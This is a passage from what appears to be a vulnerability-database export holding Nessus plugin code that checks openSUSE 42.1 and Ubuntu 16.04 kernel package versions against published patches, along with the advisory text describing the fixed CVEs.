ext4: fix races between page faults and hole punching\n (bsc#972174).\n\n - ext4: fix races of writeback with punch hole and zero\n range (bsc#972174).\n\n - ext4: move unlocked dio protection from\n ext4_alloc_file_blocks() (bsc#972174).\n\n - net: thunderx: Use napi_schedule_irqoff() \n\n - netback: do not use last request to determine minimum Tx\n credit (bsc#957988).\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=957988\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=970892\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=970911\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=970948\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=970955\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=970956\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=970958\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=970970\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=971124\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=971360\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=971628\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=972174\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=973378\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=974418\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=975868\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected the Linux Kernel packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-debug\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-debug-base\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-debug-base-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-debug-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-debug-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-debug-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-debug-devel-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-default\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-default-base\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-default-base-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-default-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-default-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-default-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-docs-html\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-docs-pdf\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-ec2\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-ec2-base\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-ec2-base-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-ec2-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-ec2-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-ec2-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-macros\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-obs-build\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-obs-build-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-obs-qa\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-obs-qa-xen\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pae\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pae-base\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pae-base-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pae-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pae-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pae-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pv\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pv-base\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pv-base-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pv-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pv-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-pv-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-source\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-source-vanilla\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-syms\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-vanilla\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-vanilla-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-vanilla-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-vanilla-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-xen\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-xen-base\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-xen-base-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-xen-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-xen-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:kernel-xen-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:42.1\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/05/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/05/24\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE42\\.1)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"42.1\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(i586|i686|x86_64)$\") audit(AUDIT_ARCH_NOT, \"i586 / i686 / x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-default-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-default-base-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-default-base-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-default-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-default-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-default-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-docs-html-4.1.21-14.5\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-docs-pdf-4.1.21-14.5\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-macros-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-obs-build-4.1.21-14.4\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-obs-build-debugsource-4.1.21-14.4\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-obs-qa-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-obs-qa-xen-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-source-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-source-vanilla-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", reference:\"kernel-syms-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-debug-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-debug-base-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-debug-base-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-debug-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-debug-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-debug-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-debug-devel-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-ec2-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-ec2-base-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-ec2-base-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-ec2-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-ec2-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-ec2-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pae-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pae-base-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pae-base-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pae-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pae-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pae-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pv-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pv-base-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pv-base-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pv-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pv-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-pv-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-vanilla-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-vanilla-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-vanilla-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-vanilla-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-xen-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-xen-base-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-xen-base-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-xen-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-xen-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"i686\", reference:\"kernel-xen-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-debug-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-debug-base-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-debug-base-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-debug-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-debug-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-debug-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-debug-devel-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-ec2-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-ec2-base-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-ec2-base-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-ec2-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-ec2-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-ec2-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pae-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pae-base-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pae-base-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pae-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pae-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pae-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pv-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pv-base-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pv-base-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pv-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pv-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-pv-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-vanilla-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-vanilla-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-vanilla-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-vanilla-devel-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-xen-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-xen-base-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-xen-base-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-xen-debuginfo-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-xen-debugsource-4.1.21-14.2\") ) flag++;\nif ( rpm_check(release:\"SUSE42.1\", cpu:\"x86_64\", reference:\"kernel-xen-devel-4.1.21-14.2\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"kernel-debug / kernel-debug-base / kernel-debug-base-debuginfo / etc\");\n}\n", "cvss": {"score": 4.9, "vector": "AV:L/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-11-03T12:31:04", "bulletinFamily": "scanner", "description": "Jann Horn discovered that the extended Berkeley Packet Filter (eBPF)\nimplementation in the Linux kernel did not properly reference count\nfile descriptors, leading to a use-after-free. A local unprivileged\nattacker could use this to gain administrative privileges.\n(CVE-2016-4557)\n\nRalf Spenneberg discovered that the USB sound subsystem in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2184)\n\nRalf Spenneberg discovered that the ATI Wonder Remote II USB driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2185)\n\nRalf Spenneberg discovered that the PowerMate USB driver in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2186)\n\nRalf Spenneberg discovered that the I/O-Warrior USB device driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2188)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the MCT USB RS232 Converter device driver in the Linux kernel did\nnot properly validate USB device descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3136)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Cypress M8 USB device driver in the Linux kernel did not\nproperly validate USB device descriptors. An attacker with physical\naccess could use this to cause a denial of service (system crash).\n(CVE-2016-3137)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the USB abstract device control driver for modems and ISDN\nadapters did not validate endpoint descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3138)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Linux kernel", "modified": "2019-11-02T00:00:00", "id": "UBUNTU_USN-2965-1.NASL", "href": "https://www.tenable.com/plugins/nessus/91082", "published": "2016-05-12T00:00:00", "title": "Ubuntu 16.04 LTS : linux vulnerabilities (USN-2965-1)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-2965-1. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(91082);\n script_version(\"2.17\");\n script_cvs_date(\"Date: 2019/09/18 12:31:45\");\n\n script_cve_id(\"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3672\", \"CVE-2016-3689\", \"CVE-2016-3951\", \"CVE-2016-3955\", \"CVE-2016-4557\");\n script_xref(name:\"USN\", value:\"2965-1\");\n\n script_name(english:\"Ubuntu 16.04 LTS : linux vulnerabilities (USN-2965-1)\");\n script_summary(english:\"Checks dpkg output for updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Ubuntu host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Jann Horn discovered that the extended Berkeley Packet Filter (eBPF)\nimplementation in the Linux kernel did not properly reference count\nfile descriptors, leading to a use-after-free. A local unprivileged\nattacker could use this to gain administrative privileges.\n(CVE-2016-4557)\n\nRalf Spenneberg discovered that the USB sound subsystem in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2184)\n\nRalf Spenneberg discovered that the ATI Wonder Remote II USB driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2185)\n\nRalf Spenneberg discovered that the PowerMate USB driver in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2186)\n\nRalf Spenneberg discovered that the I/O-Warrior USB device driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2188)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the MCT USB RS232 Converter device driver in the Linux kernel did\nnot properly validate USB device descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3136)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Cypress M8 USB device driver in the Linux kernel did not\nproperly validate USB device descriptors. An attacker with physical\naccess could use this to cause a denial of service (system crash).\n(CVE-2016-3137)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the USB abstract device control driver for modems and ISDN\nadapters did not validate endpoint descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3138)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Linux kernel's USB driver for Digi AccelePort serial\nconverters did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-3140)\n\nIt was discovered that the IPv4 implementation in the Linux kernel did\nnot perform the destruction of inet device objects properly. An\nattacker in a guest OS could use this to cause a denial of service\n(networking outage) in the host OS. (CVE-2016-3156)\n\nAndy Lutomirski discovered that the Linux kernel did not properly\ncontext- switch IOPL on 64-bit PV Xen guests. An attacker in a guest\nOS could use this to cause a denial of service (guest OS crash), gain\nprivileges, or obtain sensitive information. (CVE-2016-3157)\n\nHector Marco and Ismael Ripoll discovered that the Linux kernel would\nimproperly disable Address Space Layout Randomization (ASLR) for x86\nprocesses running in 32 bit mode if stack-consumption resource limits\nwere disabled. A local attacker could use this to make it easier to\nexploit an existing vulnerability in a setuid/setgid program.\n(CVE-2016-3672)\n\nIt was discovered that the Linux kernel's USB driver for IMS Passenger\nControl Unit devices did not properly validate the device's\ninterfaces. An attacker with physical access could use this to cause a\ndenial of service (system crash). (CVE-2016-3689)\n\nAndrey Konovalov discovered that the CDC Network Control Model USB\ndriver in the Linux kernel did not cancel work events queued if a\nlater error occurred, resulting in a use-after-free. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3951)\n\nIt was discovered that an out-of-bounds write could occur when\nhandling incoming packets in the USB/IP implementation in the Linux\nkernel. A remote attacker could use this to cause a denial of service\n(system crash) or possibly execute arbitrary code. (CVE-2016-3955).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/2965-1/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Update the affected linux-image-4.4-generic,\nlinux-image-4.4-generic-lpae and / or linux-image-4.4-lowlatency\npackages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Linux BPF doubleput UAF Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", 